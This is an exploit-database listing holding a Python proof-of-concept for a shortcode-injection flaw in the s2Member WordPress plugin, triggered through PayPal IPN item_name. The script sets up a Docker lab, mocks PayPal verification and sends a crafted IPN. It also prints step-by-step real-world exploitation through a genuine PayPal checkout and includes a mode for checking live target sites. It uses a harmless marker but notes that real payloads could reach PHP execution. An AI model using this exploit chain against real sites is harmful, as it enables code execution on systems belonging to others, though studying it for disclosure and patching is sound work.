Exploit databaseDownload repository ZIP
GH-008cf52641c197fde998241e3e93c91c
yozturk0/cve-2026-125440
Sources for CVE-2026-125440
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files5
yozturk0/cve-2026-125440Revision d9a6831424c7
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit_poc.py
Python · 9,305 bytes#!/usr/bin/env python3
# CVE-2026-125440: s2Member <= 261106, shortcode injection via PayPal IPN item_name
# Author: Yusuf Ozturk. Software: https://downloads.wordpress.org/plugin/s2member.zip
# 2 legacy handlers store item_name, then do_shortcode() runs it:
# paypal-notify-in-subscr-modify-w-level.inc.php (subscr_modify)
# paypal-notify-in-wa-ccaps-wo-level.inc.php (web_accept)
# Real target needs 1 genuine PayPal IPN. This script proves the chain in a local Docker lab only.
# Usage:
# python3 exploit_poc.py --lab
# python3 exploit_poc.py --print-ipn
# python3 exploit_poc.py --live URL --cookie "..."
import argparse
import os
import subprocess
import sys
import time
import textwrap
import requests
LAB_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", "lab-s2member")
LAB_PORT = 8910
MARKER_FILE_HOST = "/tmp/poc_marker_fired.txt" # inside the wp container
SHORTCODE_PAYLOAD = "[poc_marker]" # harmless proof-of-execution marker, swap for a real payload only against your own lab
def run(cmd, cwd=None, check=True):
print(f"$ {' '.join(cmd)}")
return subprocess.run(cmd, cwd=cwd, check=check)
def lab_up():
run(["docker", "compose", "up", "-d"], cwd=LAB_DIR)
print("Waiting for WordPress + DB to come up...")
time.sleep(25)
def lab_configure():
wpcli = ["docker", "compose", "exec", "-T", "wpcli", "wp", "--allow-root", "--path=/var/www/html"]
for _ in range(40):
try:
requests.get(f"http://localhost:{LAB_PORT}/", timeout=3)
break
except Exception:
time.sleep(3)
# install core + activate plugin
run(wpcli + ["core", "install", "--url=http://localhost:%d" % LAB_PORT,
"--title=s2m-poc", "--admin_user=admin", "--admin_password=admin",
"[email protected]", "--skip-email"], cwd=LAB_DIR, check=False)
run(wpcli + ["plugin", "activate", "s2member"], cwd=LAB_DIR, check=False)
# mu-plugin: harmless marker shortcode, proves do_shortcode() executed attacker text
marker_php = textwrap.dedent("""\
<?php
add_shortcode('poc_marker', function() {
file_put_contents('%s', 'FIRED ' . date('c') . "\\n", FILE_APPEND);
return 'poc-marker-ran';
});
""" % MARKER_FILE_HOST)
run(["docker", "compose", "exec", "-T", "wp", "mkdir", "-p", "/var/www/html/wp-content/mu-plugins"], cwd=LAB_DIR, check=False)
proc = subprocess.run(["docker", "compose", "exec", "-T", "wp", "tee",
"/var/www/html/wp-content/mu-plugins/poc-marker.php"],
input=marker_php.encode(), cwd=LAB_DIR)
# mu-plugin: mock PayPal verification, stands in for 1 real completed PayPal txn
mock_verify_php = textwrap.dedent("""\
<?php
add_filter('pre_http_request', function($pre, $args, $url) {
if (is_string($url) && strpos($url, 'cgi-bin/webscr') !== false) {
return array('headers' => array(), 'body' => 'VERIFIED',
'response' => array('code' => 200, 'message' => 'OK'), 'cookies' => array());
}
return $pre;
}, 10, 3);
""")
subprocess.run(["docker", "compose", "exec", "-T", "wp", "tee",
"/var/www/html/wp-content/mu-plugins/poc-mock-verify.php"],
input=mock_verify_php.encode(), cwd=LAB_DIR)
# s2Member settings: paypal business email + tracking code template (admin-authored, normal setup)
php = ("$o=get_option('ws_plugin__s2member_options'); if(!is_array($o)) $o=array(); "
"$o['paypal_business']='[email protected]'; "
"$o['modification_tracking_codes']='Tracking: %%item_name%%'; "
"update_option('ws_plugin__s2member_options',$o);")
run(wpcli + ["eval", php], cwd=LAB_DIR, check=False)
# test subscriber, matching real-world precondition: an active s2Member subscriber id
run(wpcli + ["user", "create", "testsub", "[email protected]", "--role=subscriber",
"--user_pass=testsub"], cwd=LAB_DIR, check=False)
run(wpcli + ["user", "meta", "update", "testsub", "wp_s2member_subscr_id", "TESTSUB123"], cwd=LAB_DIR, check=False)
def send_ipn(path_label, body):
url = f"http://localhost:{LAB_PORT}/?s2member_paypal_notify=1"
print(f"\n--- {path_label} ---")
print(f"POST {url}")
for k, v in body.items():
print(f" {k} = {v}")
r = requests.post(url, data=body, timeout=15)
print(f"-> HTTP {r.status_code}")
return r
def trigger_display_and_check():
# log in as the test subscriber, load a page that fires wp_footer -> display_modification_tracking_codes()
s = requests.Session()
login_url = f"http://localhost:{LAB_PORT}/wp-login.php"
s.post(login_url, data={"log": "testsub", "pwd": "testsub", "wp-submit": "Log In",
"redirect_to": f"http://localhost:{LAB_PORT}/", "testcookie": "1"})
enc = subprocess.run(["docker", "compose", "exec", "-T", "wpcli", "wp", "--allow-root", "--path=/var/www/html", "eval",
"echo c_ws_plugin__s2member_utils_encryption::encrypt('TESTSUB123');"],
cwd=LAB_DIR, capture_output=True, text=True).stdout.strip()
s.cookies.set("s2member_tracking", enc)
r = s.get(f"http://localhost:{LAB_PORT}/")
print(f"Front page load as testsub -> HTTP {r.status_code}")
out = subprocess.run(["docker", "compose", "exec", "-T", "wp", "cat", MARKER_FILE_HOST],
cwd=LAB_DIR, capture_output=True, text=True)
if out.returncode == 0 and "FIRED" in out.stdout:
print(f"\n[CONFIRMED] do_shortcode() executed attacker-supplied shortcode text.\n{out.stdout.strip()}")
return True
print("\n[NOT CONFIRMED] marker file empty or missing. See lab-s2member/evidence/ for prior runs.")
return False
def run_lab():
lab_up()
lab_configure()
# File 1: subscr_modify path (gate needs txn_type, item_number matching level regex, subscr_id, payer_email)
send_ipn("subscr_modify (paypal-notify-in-subscr-modify-w-level.inc.php)", {
"txn_type": "subscr_modify",
"subscr_id": "TESTSUB123",
"item_number": "1:", # level:ccaps, must match the membership item number regex
"item_name": SHORTCODE_PAYLOAD,
"payer_email": "[email protected]",
"mc_amount1": "0.01",
"mc_amount3": "0.01",
"custom": "localhost",
})
time.sleep(2)
confirmed = trigger_display_and_check()
sys.exit(0 if confirmed else 1)
def print_real_world_ipn():
print(textwrap.dedent(f"""\
Real-world exploitation does NOT POST directly to the target. PayPal itself
delivers the IPN after it has verified a genuine transaction. Steps:
1. Create a PayPal subscription button (Subscribe / Buy Now) at the minimum
allowed amount, 0.01 USD (0.00 is rejected by PayPal).
2. Set the button's item name / option field to the shortcode payload, e.g.:
item_name = {SHORTCODE_PAYLOAD}
(any shortcode registered on the target WordPress site; this marker is
harmless, a real payload could use any shortcode that reaches PHP
execution, e.g. a page-builder or import shortcode with a known sink.)
3. Complete a real checkout against the button, signed in as a PayPal buyer
you control, from your own account, against your own 1-cent item.
4. PayPal sends the real IPN to the target's /?s2member_paypal_notify=1
and includes _notify-validate; the plugin calls back to PayPal, gets
VERIFIED, and stores item_name into the tracking-code transient.
5. Any logged-in user who loads a front-end page on the target site
(wp_footer / login_footer) triggers display_modification_tracking_codes()
or display_ccap_tracking_codes(), running do_shortcode() on the stored
value.
No request is sent by this script in this mode; it only prints the setup.
"""))
def live_check(url, cookie):
s = requests.Session()
if cookie:
s.headers["Cookie"] = cookie
r = s.get(url, timeout=15)
print(f"GET {url} -> HTTP {r.status_code}")
if "poc-marker-ran" in r.text:
print("[CONFIRMED] marker output found in page body.")
else:
print("[NOT CONFIRMED] marker output not found in response body (may render in a logged-in-only area).")
def main():
p = argparse.ArgumentParser()
g = p.add_mutually_exclusive_group(required=True)
g.add_argument("--lab", action="store_true", help="run the full chain in a local Docker lab")
g.add_argument("--print-ipn", action="store_true", help="print the real-world setup (PayPal button + checkout)")
g.add_argument("--live", metavar="URL", help="check a target page for the marker after a real IPN has already landed")
p.add_argument("--cookie", default="", help="session cookie for --live, if the display runs only for logged-in users")
args = p.parse_args()
if args.lab:
run_lab()
elif args.print_ipn:
print_real_world_ipn()
elif args.live:
live_check(args.live, args.cookie)
if __name__ == "__main__":
main()